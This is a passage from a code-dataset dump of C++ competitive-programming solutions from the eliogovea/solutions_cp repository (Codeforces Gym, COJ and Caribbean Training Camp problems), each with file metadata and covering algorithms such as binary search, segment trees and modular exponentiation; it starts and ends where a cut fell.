"/Codeforces-Gym/100738 - KTU Programming Camp (Day 2)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 2)\n// 100738K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst double eps = 1e-7;\n\nLL a, b, p;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> a >> b >> p;\n LL lo = 1;\n LL hi = 1e18;\n LL res = hi;\n for (int it = 0; it <= 500; it++) {\n LL mid = (lo + hi) / 2.0;\n double val = (double)a * pow(mid, 1.0 / 3.0) + (double)b * pow(mid, 1.0 / 2.0);\n //cout << mid << \" \" << val << \"\\n\";\n if ((LL)(val + eps) >= p) {\n res = mid;\n hi = mid - 1;\n } else {\n lo = mid + 1;\n }\n }\n cout << res << \"\\n\";\n}\n" }, { "alpha_fraction": 0.40408164262771606, "alphanum_fraction": 0.4734693765640259, "avg_line_length": 20.02857208251953, "blob_id": "d39fa4b6d9e722dd6d24bde840be66404fbb4f78", "content_id": "a53226d92adbc8458523dc073980786a9d9cf026", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 735, "license_type": "no_license", "max_line_length": 70, "num_lines": 35, "path": "/Codeforces-Gym/100198 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)\n// 100198I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1000000;\n\ndouble r1, r2;\n\ninline double f(double x) {\n return sqrt((r1 * r1 - x * x) * (r2 * r2 - x * x));\n}\n\ninline double ff(double x) {\n return x * x;\n}\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n freopen(\"twocyl.in\", \"r\", stdin);\n freopen(\"twocyl.out\", \"w\", stdout);\n cin >> r1 >> r2;\n if (r1 > r2) swap(r1, r2);\n double h = r1 / N;\n double s = 0.0;\n for (int i = 0; i <= N; i++) {\n double x = h * i;\n s += f(x) * ((i == 0 || i == N) ? 1 : ((i & 1) == 0) ? 2 : 4);\n }\n s *= 8.0 * h / 3.0;\n cout.precision(4);\n cout << fixed << s << \"\\n\";\n}" }, { "alpha_fraction": 0.4395280182361603, "alphanum_fraction": 0.48672565817832947, "avg_line_length": 15.949999809265137, "blob_id": "f5aa04259059455ed1e071a09fee9109c578461b", "content_id": "231d9ac939f489f9637033fb8e4575a990a0ed2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 339, "license_type": "no_license", "max_line_length": 58, "num_lines": 20, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n int n, m, x;\n cin >> n >> m;\n int ans = 0;\n while (m--) {\n cin >> x;\n ans += x;\n ans %= n;\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3566991984844208, "alphanum_fraction": 0.3842058479785919, "avg_line_length": 15.573529243469238, "blob_id": "8410f890d315d3c875feb1848330954cfc914ec5", "content_id": "63d38bd007d3c697fa122a9d00b914d31df3c17e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 40, "num_lines": 68, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/H3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1000 * 1000;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n int n, m;\n cin >> n >> m;\n\n vector <int> a(n), b(m);\n for (auto & x : a) {\n cin >> x;\n }\n for (auto & x : b) {\n cin >> x;\n }\n\n sort(a.begin(), a.end());\n sort(b.begin(), b.end());\n\n reverse(a.begin(), a.end());\n reverse(b.begin(), b.end());\n\n int ans = 1;\n for (int i = 0, j = 0; i < m; i++) {\n while (j < n && a[j] >= b[i]) {\n j++;\n }\n if (j - i < 0) {\n ans = 0;\n break;\n }\n ans = mul(ans, j - i);\n }\n\n cout << ans << \"\\n\";\n return 0;\n}\n" }, { "alpha_fraction": 0.3726707994937897, "alphanum_fraction": 0.39751553535461426, "avg_line_length": 13.652777671813965, "blob_id": "8e81eb5822df4ce44514b7c26ada63aaaddf2059", "content_id": "436f507a033a2e1cf78775d9b05a22cfca5f7025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 41, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p1382-Accepted-s947014.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int MOD = 1000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (LL)a * b % MOD;\r\n}\r\n\r\nconst int N = 1000000;\r\n\r\nint sum[N + 5];\r\n\r\nint t;\r\nLL a, b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tsum[i] = mul(i, mul(i, i));\r\n\t\tadd(sum[i], sum[i - 1]);\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\t{\r\n\t\t\tLL lo = 0;\r\n\t\t\tLL hi = N;\r\n\t\t\tLL res = 0;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tLL mid = (lo + hi) / 2LL;\r\n\t\t\t\tif (mid * mid * mid < a) {\r\n\t\t\t\t\tres = mid;\r\n\t\t\t\t\tlo = mid + 1LL;\r\n\t\t\t\t} else {\r\n\t\t\t\t\thi = mid - 1LL;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\ta = res;\r\n\t\t}\r\n\t\t{\r\n\t\t\tLL lo = 0;\r\n\t\t\tLL hi = N;\r\n\t\t\tLL res = 0;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tLL mid = (lo + hi) / 2LL;\r\n\t\t\t\tif (mid * mid * mid <= b) {\r\n\t\t\t\t\tres = mid;\r\n\t\t\t\t\tlo = mid + 1LL;\r\n\t\t\t\t} else {\r\n\t\t\t\t\thi = mid - 1LL;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tb = res;\r\n\t\t}\r\n\t\tint ans = sum[b];\r\n\t\tadd(ans, MOD - sum[a]);\r\n\t\t//cerr << a << \" \" << \" \" << b << \"\\n\";\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4648067057132721, "alphanum_fraction": 0.4899708330631256, "avg_line_length": 21.47541046142578, "blob_id": "3b3feb93beb21bb54e17725b3af1753cbc6055d9", "content_id": "023bbaf4632142ee2826aaa241990fd9ee8d9771", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5484, "license_type": "no_license", "max_line_length": 107, "num_lines": 244, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/D1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 1000100;\ntypedef pair<int,int> pii;\nstruct event{\n\tint x, lo, hi;\n\tint acc;\n\tevent( int _x = 0, int _lo = 0, int _hi = 0, int _a = 0 ){\n\t\tx = _x; \n\t\tlo = _lo; hi = _hi;\n\t\tacc = _a;\n\t}\n\tbool operator<( const event& b ) const{\n\t\tif( x != b.x )\n\t\t\treturn x < b.x;\n\t\treturn acc < b.acc;\n\t}\n};\n\nstruct ST{\n\tint n;\n\tvector<pii> stree;\n\tvector<int> lazy;\n\n\tST( int __n = 0 ){\n\t\tif( !__n ) return;\n\t\tn = __n;\n\t\tstree.resize( 4*(n+10)+10 );\n\t\tlazy.resize( 4*(n+10)+10 );\n\t}\n\tvoid inicialize(){\n\t\tbuild( 1, 1, n );\n\t}\n\tvoid build( int nod, int l, int r ){\n\t\tif( l == r ){\n\t\t\tstree[nod].second = l;\n\t\t\treturn;\n\t\t}\n\t\tint mid = (l+r)>>1;\n\t\tbuild( 2*nod, l, mid );\n\t\tbuild( 2*nod+1, mid+1, r );\n\t\tstree[nod] = max( stree[2*nod], stree[2*nod+1] );\n\t}\n\t\n\tvoid Update( int x, int y, int v ){\n\t\tupdate( 1, 1, n, x, y, v );\n\t}\n\tpii get_max(){\n\t\tpropagate( 1, 1, n );\n\t\treturn stree[1];\n\t\t//return query( 1, 1, n, 1, n );\n\t}\n\tvoid propagate( int nod, int l, int r ){\n\t\tif( lazy[nod] == 0 ) return;\n\t\tstree[nod].first += lazy[nod];\n\t\tif( l == r ){\n\t\t\tlazy[nod] = 0;\n\t\t\treturn;\n\t\t}\n\t\tlazy[2*nod ] += lazy[nod];\n\t\tlazy[2*nod+1] += lazy[nod];\n\t\tlazy[nod] = 0;\n\t}\n\n\tvoid update( int nod, int l ,int r, int ul, int ur, int v ){\n\t\tpropagate( nod, l, r );\n\t\tif( r < ul || l > ur )\n\t\t\treturn;\n\n\t\tif( ul <= l && r <= ur ){\n\t\t\tlazy[nod] += v;\n\t\t\tpropagate( nod, l, r );\n\t\t\treturn;\n\t\t}\n\n\t\tint mid = (l+r)>>1;\n\n\t\tupdate( 2*nod, l, mid, ul, ur, v );\n\t\tupdate( 2*nod+1, mid+1, r, ul, ur, v );\n\t\tstree[nod] = max( stree[2*nod], stree[2*nod+1] );\n\t}\n};\n\nstruct range_tree{\n\tint n;\n\tvector< vector<int> > stree;\n\tvector<int> mx_y;\t\n\tvector<int> mn_y;\n\trange_tree( int __n = 0 ){\n\t\tif( !__n ) return;\n\t\tn = __n;\n\t\tstree.resize( 4*n+10 );\n\t\tmx_y.resize( 4*n+10 );\n\t\tmn_y.resize( 4*n+10 );\n\t}\n\n\tvoid inicialize( vector<pii>&v ){\n\t\tbuild( 1, 1, n, v );\t\n\t}\n\n\tvoid build( int nod, int l, int r, vector<pii> &v ){\n\t\tif( l == r ){\n\t\t\tmx_y[nod] = mn_y[nod] = v[l-1].second;\n\t\t\tstree[nod].push_back( v[l-1].first );\n\t\t\treturn;\n\t\t}\n\n\t\tint mid = (l+r)>>1;\n\n\t\tbuild( 2*nod, l, mid, v );\n\t\tbuild( 2*nod+1, mid+1, r, v );\n\t\t\n\t\tmx_y[nod] = max( mx_y[2*nod], mx_y[2*nod+1] );\n\t\tmn_y[nod] = min( mn_y[2*nod], mn_y[2*nod+1] );\n\n\t\tstree[nod].resize( r-l+1 );\n\t\tmerge( stree[2*nod].begin(), stree[2*nod].end(),\n\t\t\t stree[2*nod+1].begin(), stree[2*nod+1].end(),\n\t\t\t stree[nod].begin());\n\t}\n\t\n\tpii query( int nod, int l, int r, int ql, int qr, int xl, int xr ){\n\t\tif( mn_y[nod] > qr || mx_y[nod] < ql )\n\t\t\treturn pii(-1,-1);\n\t\tif( ql <= mn_y[nod] && mx_y[nod] <= qr ){\n\t\t\tvector<int> &cur = stree[nod];\n\t\t\tint lo = lower_bound( cur.begin(), cur.end(), xl ) - cur.begin();\n\t\t\tint up = upper_bound( cur.begin(), cur.end(), xr ) - cur.begin();\n\t\t\tup--;\n\t\t\tif( lo > up ){\n\t\t\t//\tcerr << \"ERRROR!!!!!\" << endl;\n\t\t\t\treturn pii(-1,-1);\n\t\t\t}\n\t\t\treturn pii( cur[lo], cur[up] );\n\t\t}\n\n\t\tint mid = (l+r)>>1;\n\n\t\tpii lo = query( 2*nod, l, mid, ql,qr,xl,xr ),\n\t\t\thi = query( 2*nod+1, mid+1, r, ql,qr,xl,xr );\n\t\tif( lo == pii(-1,-1) )\n\t\t\treturn hi;\n\t\tif( hi == pii(-1,-1) )\n\t\t\treturn lo;\n\t\treturn pii( min(lo.first, hi.first), max(lo.second, hi.second) );\n\t}\n\t\n\tpii Query( int y1, int y2, int x1, int x2 ){\n\t\treturn query( 1, 1, n, y1, y2, x1, x2 );\n\t}\n};\n\n\nint n;\nint h[maxn];\nint possible_corner[maxn];\nint idx[maxn];\nint acc[maxn][2];\nvector<pii> up, \n\t\t\tdown, \n\t\t\tcorner;\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n//\tfreopen( \"dat.txt\", \"r\", stdin );\n\n\n\tcin >> n;\n\n\tfor( int i = 1; i <= n; i++ ){\n\t\tcin >> h[i];\n\t\t\n\t}\n\n\tfor( int i = 1; i <= n; i++ ){\n\t\tif( up.empty() || h[ up[ up.size()-1 ].first ] < h[i] ){\n\t\t\tup.push_back( pii( i,h[i] ) );\n\t\t\tidx[i] = up.size();\n\t\t\tpossible_corner[i] = 1;//up;\n\t\t\tcorner.push_back( pii(h[i], i) );\n\t\t}\n\t} \n\n\tfor( int i = n; i >= 1; i-- ){\n\t\tif( down.empty() || h[ down[ down.size()-1 ].first ] > h[i] ){\n\t\t\tdown.push_back( pii(i,h[i] ) );\n\t\t\tidx[i] = down.size();\n\t\t\tpossible_corner[i] = -1;//down\n\t\t\tcorner.push_back( pii( h[i], i ) );\n\t\t}\n\t} \n\t\n\tsort( corner.begin(), corner.end() );\n\tfor( int i = 0; i < (int)corner.size(); i++ ) \n\t\tswap( corner[i].first, corner[i].second );\n\n\trange_tree RT = range_tree( corner.size() );\n\tRT.inicialize( corner );\n\t\n\tvector<event> e; \n\tfor( int i = 1; i <= n; i++ ){\n\t\tif( possible_corner[i] == 0 ){\n\t\t\tpii ys = RT.Query( h[i], n, 1, i );\n\t\t\t//cerr << \"i: \" << i << endl;\n\t\t\tpii xs = RT.Query( 1, h[i], i, n+1 );\n\t\t\t//cerr << \"i: \" << i << endl;\n\t\t\t//cerr << \"ys = (\" << ys.first << \"; \" << ys.second << \")\\n\";\n\t\t\t//cerr << \"xs = (\" << xs.first << \"; \" << xs.second << \")\\n\";\n\t\t\tif( ys.first == -1 || xs.first == -1 ) continue;\n\t\t\te.push_back( event( xs.first , ys.first, ys.second, +1 ) );\n\t\t\te.push_back( event( xs.second+1, ys.first, ys.second,-1 ) );\n\t\t}\n\t}\n\tsort( e.begin(), e.end() );\n\t/*for( int i = 0; i < (int)e.size(); i++ ){\n\t\tcerr << \"t: \"<<e[i].x << \" lo: \" << e[i].lo << \" hi: \" << e[i].hi << \" acc: \" << e[i].acc << '\\n';\n\t}*/\n\tST st = ST(n);\n\tst.inicialize();\n\tint ans = 0;\n\tpii sol;\n//\tcerr << \"-------Segment Tree---------\\n\";\t\n\tfor( int i = 0; i < (int)e.size(); i++ ){\n\t\tst.Update( e[i].lo, e[i].hi, e[i].acc );\n\t\tpii tmp = st.get_max();\n\t\tif( ans < tmp.first ){\n\t\t\tans = tmp.first;\n\t\t\tsol = pii( tmp.second, e[i].x );\n\t\t}\n\t}\t\n\n\tif( ans < 1 ){\n\t\t//cerr << ans << '\\n';\n\t\tcout << \"-1 -1\\n\";\n\t}\n\telse{\n\t\t//cerr << \"ans: \" << ans << '\\n';\n\t\tcout << sol.first << \" \" << sol.second<< '\\n';\n\t\t//cout << up[ sol.second-1 ].second << \" \" << down[ sol.first-1 ].second << '\\n';\n\t}\n\n}\n" }, { "alpha_fraction": 0.42592594027519226, "alphanum_fraction": 0.46464645862579346, "avg_line_length": 17, "blob_id": "6a000109f2aafb2a36a09e0604f8406285837997", "content_id": "85d0ad7965e9427652e38238383f875374e65838", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 595, "license_type": "no_license", "max_line_length": 79, "num_lines": 33, "path": "/Codeforces-Gym/100959 - 2015-2016 Petrozavodsk Winter Training Camp, Makoto rng_58 Soejima Сontest 4/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 Petrozavodsk Winter Training Camp, Makoto rng_58 Soejima Сontest 4\n// 100959E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef long long ll;\nvector<int> a;\nint n;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"dat.txt\", \"r\", stdin );\n\n cin >> n;\n\n for( int i = 0,x; i < n; i++ ){\n cin >> x;\n a.push_back(x);\n }\n sort( a.begin(), a.end() );\n\n int sol = 0;\n ll acc = 0;\n for( int i = 0; i < n ;i++ ){\n if( a[i] > acc ){\n acc += a[i];\n sol++;\n }\n }\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.36193448305130005, "alphanum_fraction": 0.37441498041152954, "avg_line_length": 18.677419662475586, "blob_id": "e3257de3db7cc35a181fba880533a294cfb0ba0e", "content_id": "8bc1b8fdad1626416b11e3bb8a95acda574aab1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 641, "license_type": "no_license", "max_line_length": 71, "num_lines": 31, "path": "/Caribbean-Training-Camp-2017/Contest_7/Solutions/H7.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\tif (n > m) {\r\n swap(n, m);\r\n\t}\r\n\tlong long ans = 0;\r\n\tfor (int dx = 1; dx < n; dx++) {\r\n\t\tfor (int dy = 0; dy < m; dy++) {\r\n\t\t\tif (__gcd(dx, dy) == 1) {\r\n\t\t\t\tfor (int i = 1; i * dx + dy < n && i * dy + dx < m; i++) {\r\n\t\t\t\t\tfor (int j = 1; i * dx + j * dy < n && i * dy + j * dx < m; j++) {\r\n\t\t\t\t\t\tint w = i * dx + j * dy;\r\n\t\t\t\t\t\tint h = i * dy + j * dx;\r\n\t\t\t\t\t\tans += (long long)(n - w) * (long long)(m - h);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n\r\n/// O(n ^ 2 * log(n))\r\n" }, { "alpha_fraction": 0.27981650829315186, "alphanum_fraction": 0.35779815912246704, "avg_line_length": 20.947368621826172, "blob_id": "4995814bc8d020d176c50d5e54d517b1101cfee5", "content_id": "45de917d5855bbf0c5e2eb7ae7b9e86360d5c146", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 436, "license_type": "no_license", "max_line_length": 77, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2480-Accepted-s486465.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n;\r\nlong long t,p[100000][2],x[100001],y[100001];\r\n\r\nint main(){\r\n cin >> n;\r\n for(int i=0; i<n; i++){\r\n cin >> p[i][0] >> p[i][1];\r\n x[p[i][0]]++;\r\n y[p[i][1]]++;\r\n }\r\n for(int i=0; i<n; i++){\r\n if(x[p[i][0]]>1 && y[p[i][1]]>1)t+=(x[p[i][0]]-1)*(y[p[i][1]]-1);\r\n }\r\n cout << t << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.33855798840522766, "alphanum_fraction": 0.3714733421802521, "avg_line_length": 16.013334274291992, "blob_id": "ef086b343950b3dd89f93480b5760de98b873997", "content_id": "40888c3b611081322d702424e5f34027d72d10b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1276, "license_type": "no_license", "max_line_length": 63, "num_lines": 75, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 1000100;\n\nvector<int> g[MAXN];\nbool mk[MAXN];\n\nint ady[2*MAXN];\n\nvector<int> sol;\n\nbool ok( int u ){\n mk[u] = true;\n int d = 0;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int e = g[u][i];\n int v = ady[e];\n\n if( !mk[v] ){\n if( !ok(v) ){\n d++;\n sol.push_back( e );\n }\n }\n }\n\n return ( d % 2 != 0 );\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n int n, m; cin >> n >> m;\n\n int E = 2;\n\n for( int i = 0; i < m; i++ ){\n int u, v; cin >> u >> v;\n\n ady[E] = v;\n g[u].push_back(E++);\n ady[E] = u;\n g[v].push_back(E++);\n }\n\n for( int i = 1; i <= n; i++ ){\n if( !mk[i] ){\n if( !ok(i) ){\n cout << \"-1\\n\";\n return 0;\n }\n }\n }\n\n cout << sol.size() << '\\n';\n\n for( int i = 0; i < sol.size(); i++ ){\n int e = sol[i];\n if( e % 2 != 0 ){\n e--;\n }\n cout << ady[e+1] << ' ' << ady[e] << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.42105263471603394, "alphanum_fraction": 0.48476454615592957, "avg_line_length": 14.409090995788574, "blob_id": "50ed894ed3fca6221aef950f0a43b5f57eafe215", "content_id": "2d48002ec20b866de45973041d12048e953b39a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 361, "license_type": "no_license", "max_line_length": 88, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2768-Accepted-s609992.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 1000000;\r\nconst ll mod = 1000000007;\r\n\r\nll n;\r\n\r\nll exp(ll x, ll n) {\r\n\tll r = 1ll;\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = (r * x) % mod;\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\twhile (scanf(\"%lld\", &n) && n) printf(\"%lld\\n\", (exp(2ll, n + 1ll) - 1ll + mod) % mod);\r\n}\r\n" }, { "alpha_fraction": 0.315371036529541, "alphanum_fraction": 0.3436395823955536, "avg_line_length": 20.19607925415039, "blob_id": "22fa88756c288c7d40c008301d5157d8459d9511", "content_id": "78ca91e17b267958ad09e61a9a1d892ee63c37c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1132, "license_type": "no_license", "max_line_length": 48, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p3027-Accepted-s705426.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\ntypedef long long LL;\r\n\r\nstring s, let;\r\nLL n, m, k, f, sz;\r\nLL ac['Z' - 'A' + 15][N];\r\n\r\nint main() {\r\n //ios::sync_with_stdio(false);\r\n //cin.tie(0); cout.tie(0);\r\n cin >> n >> s >> m;\r\n\tsz = s.size();\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tif (i != 0)\r\n\t\t\tfor (int j = 'A'; j <= 'Z'; j++)\r\n\t\t\t\tac[j - 'A' + 1][i] = ac[j - 'A' + 1][i - 1];\r\n\t\tac[s[i] - 'A' + 1][i]++;\r\n\t}\r\n\twhile (m--) {\r\n\t\tcin >> f >> let;\r\n\t\tchar c = let[0];\r\n\t\tc = c - 'A' + 1;\r\n\t\tLL a = f - 1LL, b = f;\r\n\t\tif (a % 2LL == 0LL) a /= 2LL;\r\n\t\telse b /= 2LL;\r\n a %= sz;\r\n b %= sz;\r\n LL lo = (a * b) % sz;\r\n if (lo == 0LL) lo = sz - 1LL;\r\n else lo--;\r\n\r\n LL ret;\r\n\r\n if (f < sz - 1LL - lo) {\r\n LL hi = (lo + (f % sz)) % sz;\r\n ret = ac[c][hi] - ac[c][lo];\r\n } else {\r\n ret = ac[c][sz - 1] - ac[c][lo];\r\n f -= (sz - 1LL - lo);\r\n ret += ac[c][sz - 1] * (f / sz);\r\n f %= sz;\r\n if (f != 0LL) ret += ac[c][f - 1LL];\r\n }\r\n\t\tcout << ret << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3211822807788849, "alphanum_fraction": 0.36748769879341125, "avg_line_length": 20.14583396911621, "blob_id": "c8728a94a8700bfe3f426051cc70d52ff5684784", "content_id": "8f2196c16ccbe753ef7d281a8b90e38ad36676d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1015, "license_type": "no_license", "max_line_length": 48, "num_lines": 48, "path": "/Codeforces-Gym/100699 - Stanford ProCo 2015/N5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Stanford ProCo 2015\n// 100699N5\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nlong long dp[3][11][11][11];\n\nlong long solve(int last, int a, int b, int c) {\n if (dp[last][a][b][c] != -1) {\n return dp[last][a][b][c];\n }\n if (a == 0 && b == 0 && c == 0) {\n return 1;\n }\n int res = 0;\n if (a > 0 && last != 0) {\n res += solve(0, a - 1, b, c);\n }\n if (b > 0 && last != 1) {\n res += solve(1, a, b - 1, c);\n }\n if (c > 0 && last != 2) {\n res +=solve(2, a, b, c - 1);\n }\n dp[last][a][b][c] = res;\n return res;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n int n;\n cin >> n;\n for (int i = 0; i < 3; i++) {\n for (int j = 0; j <= n; j++) {\n for (int k = 0; k <= n; k++) {\n for (int l = 0; l <= n; l++) {\n dp[i][j][k][l] = -1;\n }\n }\n }\n }\n long long ans = 0;\n ans += 3LL * solve(0, n - 1, n, n);\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.32692307233810425, "alphanum_fraction": 0.3474358916282654, "avg_line_length": 16.13953399658203, "blob_id": "d4647d400a5cfc93dfcb81ae7334f70cd08f6159", "content_id": "5aa074a70414df4e0bd4021bbde3702c5554124e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 780, "license_type": "no_license", "max_line_length": 53, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3049-Accepted-s827123.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nint n, m;\r\nint cas = 1;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//cin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> m;\r\n\t\tif (n > m) {\r\n\t\t\tswap(n, m);\r\n\t\t}\r\n\t\tif (n == 1 || m == 1) {\r\n\t\t\tcout << \"Case \" << cas++ << \": \" << n * m << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (n <= 2 && m <= 2) {\r\n\t\t\tcout << \"Case \" << cas++ << \": \" << n * m << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint ans = m;\r\n\t\tif (n == 2) {\r\n\t\t\tint bst = m;\r\n\t\t\tif (m & 1) {\r\n\t\t\t\tbst = m + 1;\r\n\t\t\t} else if (m % 4 == 2) {\r\n\t\t\t\tint tmp = ((m / 4) + 1) * 4;\r\n\t\t\t\tif (tmp > bst) {\r\n\t\t\t\t\tbst = tmp;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tans = bst;\r\n\t\t}\r\n\t\tint x = max(n * m / 2, n * m - n * m / 2);\r\n\t\tans = max(ans, x);\r\n\t\tcout << \"Case \" << cas++ << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3501427173614502, "alphanum_fraction": 0.36203616857528687, "avg_line_length": 29.37313461303711, "blob_id": "5567a54b5450d409e0d63b4721ee4971da635cda", "content_id": "1859db240ec87e3a1e9dfecdec258e21868b1342", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2102, "license_type": "no_license", "max_line_length": 84, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p2899-Accepted-s620125.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <queue>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1005;\r\n\r\nint n, m, a, b, k, g, bi[MAXN][MAXN], bf[MAXN][MAXN], gw[MAXN], t[MAXN], tg[MAXN],\r\n cost[MAXN][MAXN];\r\nvector<int> ady[MAXN];\r\nvector<int>::iterator it;\r\npriority_queue<pair<int, 